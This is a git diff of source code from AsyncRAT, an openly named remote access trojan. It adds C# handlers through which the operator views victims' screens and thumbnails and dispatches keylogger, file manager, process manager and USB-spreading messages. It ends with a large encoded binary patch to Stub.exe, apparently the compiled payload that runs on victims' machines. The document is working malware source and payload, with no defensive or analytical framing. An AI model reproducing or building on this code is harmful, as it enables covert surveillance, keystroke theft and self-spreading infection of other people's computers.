AsyncRAT_Sharp.Handle_Packet +{ + public class HandleRemoteDesktop + { + public void Capture(Clients client, MsgPack unpack_msgpack) + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try + { + if (RD != null) + { + if (RD.C2 == null) + { + RD.C2 = client; + RD.timer1.Start(); + } + byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + + if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) + { + RD.pictureBox1.Image = (Bitmap)decoded; + RD.RenderSW = Stopwatch.StartNew(); + } + RD.FPS++; + if (RD.sw.ElapsedMilliseconds >= 1000) + { + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + } + } + else + { + client.Disconnected(); + return; + } + } + catch (Exception ex) { Debug.WriteLine(ex.Message); } + })); + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs new file mode 100644 index 0000000..540bc5e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs @@ -0,0 +1,45 @@ +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Handle_Packet +{ + public class HandleThumbnails + { + public HandleThumbnails(Clients client, MsgPack unpack_msgpack) + { + if (Program.form1.listView3.InvokeRequired) + { + Program.form1.listView3.BeginInvoke((MethodInvoker)(() => + { + if (client.LV2 == null) + { + client.LV2 = new ListViewItem(); + client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + client.LV2.ToolTipText = client.ID; + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + client.LV2.ImageKey = client.ID; + Program.form1.listView3.BeginUpdate(); + Program.form1.listView3.Items.Insert(0, client.LV2); + Program.form1.listView3.EndUpdate(); + } + } + else + { + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.listView3.BeginUpdate(); + Program.form1.imageList1.Images.RemoveByKey(client.ID); + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + Program.form1.listView3.EndUpdate(); + } + } + })); + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs new file mode 100644 index 0000000..8a73428 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs @@ -0,0 +1,105 @@ +using AsyncRAT_Sharp.Sockets; +using AsyncRAT_Sharp.MessagePack; +using System; +using System.Diagnostics; +using System.Drawing; +using AsyncRAT_Sharp.Forms; + +namespace AsyncRAT_Sharp.Handle_Packet +{ + public static class Packet + { + public static void Read(object Obj) + { + try + { + object[] array = Obj as object[]; + byte[] data = (byte[])array[0]; + Clients client = (Clients)array[1]; + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes(data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "ClientInfo": + { + new HandleListView().AddToListview(client, unpack_msgpack); + break; + } + + case "Ping": + { + new HandlePing(client, unpack_msgpack); + break; + } + + case "Logs": + { + new HandleLogs().Addmsg(unpack_msgpack.ForcePathObject("Message").AsString, Color.Black); + break; + } + + case "thumbnails": + { + new HandleThumbnails(client, unpack_msgpack); + break; + } + + case "BotKiller": + { + new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + break; + } + + case "usbSpread": + { + new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + break; + } + + case "Received": + { + new HandleListView().Received(client); + break; + } + + case "remoteDesktop": + { + new HandleRemoteDesktop().Capture(client, unpack_msgpack); + break; + } + + case "processManager": + { + new HandleProcessManager().GetProcess(client, unpack_msgpack); + break; + } + + + case "socketDownload": + { + new HandleFileManager().SocketDownload(client, unpack_msgpack); + break; + } + + case "keyLogger": + { + new HandleKeylogger(client, unpack_msgpack); + break; + } + + case "fileManager": + { + new HandleFileManager().FileManager(client, unpack_msgpack); + break; + } + } + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + } + //GC.Collect(); + //GC.WaitForPendingFinalizers(); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs index 6518bfb..cd61575 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs @@ -24,7 +24,6 @@ namespace AsyncRAT_Sharp await Task.Delay(interval); o.Opacity += 0.05; } - o.Opacity = 1; } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index f2fc8d20b0c178bdf375cf0162ddeed82c6eaadb..2971d823cba24e8174327effa674260fdd9a5726 100644 GIT binary patch delta 29969 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 